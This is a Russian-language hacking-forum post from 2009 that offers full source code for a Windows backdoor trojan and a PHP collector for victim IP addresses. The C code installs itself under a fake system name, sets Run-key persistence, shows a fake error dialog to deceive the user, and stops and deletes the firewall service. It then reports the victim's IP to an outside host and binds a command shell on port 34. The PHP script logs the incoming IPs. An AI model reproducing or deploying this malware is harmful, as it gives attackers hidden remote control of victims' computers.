Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz

24.11.2009, 17:46
|
|
Новичок
Регистрация: 28.09.2009
Сообщений: 4
Провел на форуме: 7198
Репутация:
13
|
|
Shell backdoor
Вообщем прошу не пинать за криволапый код и т.д. и т.п.
Материалы и компоненты:
1)IDE Code::Block + MinGW
2)ДЕНВЕР
3)Подключить либы libws2_32.a, libwininet.a
Описание:
Троянец открывает узел, тем самым записывая IP в снифер, а затем биндиться. Куда и как - можно посмотреть в коде.
Код шелл-бека:
Код:
#include <windows.h>
#include <winsock.h>
#include <wininet.h>
#include <io.h>
#define addresstoip "http://www.get.ru/add.php"//Адрес снифа
#define port 34
bool FileExists(const char *fname){
return access(fname,0) != -1;
}
void KillMayer(void){//Функция для защиты шелла и убийства гребанного мауера
SC_HANDLE hSCM = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT);
if (hSCM != NULL)
{
SC_HANDLE hService = OpenService(hSCM, "SharedAccess", SERVICE_STOP|DELETE);
if (hService != NULL)
{
SERVICE_STATUS Status;
ControlService(hService, SERVICE_CONTROL_STOP, &Status);
Sleep(500);
BOOL bOk = DeleteService(hService);
}
CloseServiceHandle(hService);
}
CloseServiceHandle(hSCM);
}
void Setup(void){//Функция для установки в систему
char str[MAX_PATH],sysbuf[MAX_PATH];//Переменные
GetModuleFileName(GetModuleHandle(NULL),str,MAX_PATH);
GetSystemDirectory(sysbuf,MAX_PATH);
strcat(sysbuf,"\\znoskernloadnoremove.exe");//Имя троянца
if(!FileExists(sysbuf)){
CopyFile(str,sysbuf,true);
HKEY hk;
RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", &hk);
RegSetValueEx(hk,"Kernel OS Loader",0,REG_SZ,(LPBYTE)sysbuf, strlen(sysbuf) + 1);
RegCloseKey(hk);
MessageBoxA(0,"Системная ошибка по адресу 0x001200. Повторная установка приложения может помочь","Windows",MB_ICONERROR);
}
}
void InfectSystem(void){//Функция для создания шелла на 34 порту
WSADATA wsd;
int fd,newfd;
struct sockaddr_in sin;
char *cmd = "cmd";
STARTUPINFO si;
PROCESS_INFORMATION pi;
memset(&si,0,sizeof(si));
memset(&pi,0,sizeof(pi));
WSAStartup(0x101,&wsd);
fd=WSASocketA(2,1,0,0,0,0);
sin.sin_family=2;
sin.sin_addr.s_addr=0;
sin.sin_port=htons(port);
bind(fd,(struct sockaddr *)&sin, 0x10);
listen(fd,0);
newfd=accept(fd,(struct sockaddr *)&sin,0);
si.cb=sizeof(si);
si.dwFlags=0x0101;
si.hStdInput=(char*)newfd;
si.hStdOutput=(char*)newfd;
si.hStdError=(char*)newfd;
CreateProcessA(0,cmd,0,0,1,0,0,0,&si,&pi);
WaitForSingleObject(pi.hProcess, INFINITE);
ExitThread(0);
}
bool GetStatusConnect(void){//Получение статуса подключения к интернету
typedef BOOL (WINAPI* INETCHECKPROC) (LPDWORD lpdwFlags, DWORD dwReserved);
// возвращает 1, если комп подключен к интеренту, в противном случае - 0
bool bRetVal;
HINSTANCE hLib = NULL;
INETCHECKPROC pfnInternetGetConnectedState;
// грузим (в смысле загружаем) библиотеку wininet.dll
hLib = LoadLibrary("wininet.dll");
if (!hLib) // если не получилось загрузить библиотеку, то
return 0; // возвращаем 0
// получаем адрес функции InternetGetConnectedState
pfnInternetGetConnectedState = (INETCHECKPROC)GetProcAddress(hLib, "InternetGetConnectedState");
// Если не удалось получить адрес функции
if(!pfnInternetGetConnectedState)
return false; // возвращаем 0
DWORD lpdwFlags;
// проверяем соединение
bRetVal = pfnInternetGetConnectedState(&lpdwFlags, 0) != 0;
FreeLibrary(hLib); // выгружаем библиотеку
return bRetVal; // возвращаем статус подключения
}
void SendMyIP(void){//Функция отправки IP
const char *accept = "Accept: */*";
HINTERNET session = InternetOpen("Our Agent",INTERNET_OPEN_TYPE_PROXY,NULL,"", 0);
HINTERNET url = InternetOpenUrl(session,addresstoip,0,0,0,0);
HINTERNET hRequest = HttpOpenRequest(url,"GET","",NULL,NULL,&accept,0,1);
HttpSendRequestA(hRequest,NULL,NULL,NULL,NULL);
}
int WINAPI WinMain(HINSTANCE hThisInstance,HINSTANCE hPrevInstance,LPSTR lpszArgument,int nCmdShow){
//Устанавливаемся
Setup();
//Удаляем гребаный мауер
KillMayer();
//Ждем, пока комп будет подключен к нету
bool con = GetStatusConnect();
while(!con){//ne podklychen
con = GetStatusConnect();
Sleep(1500);
}
//Когда цикл будет верен посылаем IP и работаем
SendMyIP();//Отправляем и...
InfectSystem();//...работаем!
return 0;//Все, из маин прог моно выходить. Все заметано
}
Такс.... Код бэкшелла готов. Теперь с кодом PHP снифа. Поффторюсь за криволапый код и использование a вместо w не пинать. Все таки месяцев 5 назад писал...
Код:
<?php
function GetIP() {
if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
$ip = getenv("HTTP_CLIENT_IP");
else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
$ip = getenv("HTTP_X_FORWARDED_FOR");
else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))
$ip = getenv("REMOTE_ADDR");
else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))
$ip = $_SERVER['REMOTE_ADDR'];
else
$ip = "unknown";
return $ip;
} // GetIP
$FILE_SCHABLONE = fopen('ip.html','r');
$MAIN;
while($buf = fread($FILE_SCHABLONE,10)){
$MAIN=$MAIN.$buf;
}
fclose($FILE_SCHABLONE);
$IP=GetIP();
$MAIN = $MAIN.$IP." ,current time: ".date("H:i, <b>d-m-Y</b>")."<br>";
$FILE_SCHABLONE_WRITE = fopen('ip.html','w');
fwrite($FILE_SCHABLONE_WRITE,$MAIN);
fclose($FILE_SCHABLONE_WRITE);
?>
Не забудьте создать еще файл ip.html . Ну все вроде. Есть маленькая просьба: взамен дать исходник или хотяб совет на то как написать что нибудь типа Lamers Death.
|
|
|
|
Похожие темы
|
| Тема |
Автор |
Раздел |
Ответов |
Последнее сообщение |
|
webshell scripts -)
|
blackybr |
PHP, PERL, MySQL, JavaScript |
20 |
28.03.2010 02:17 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|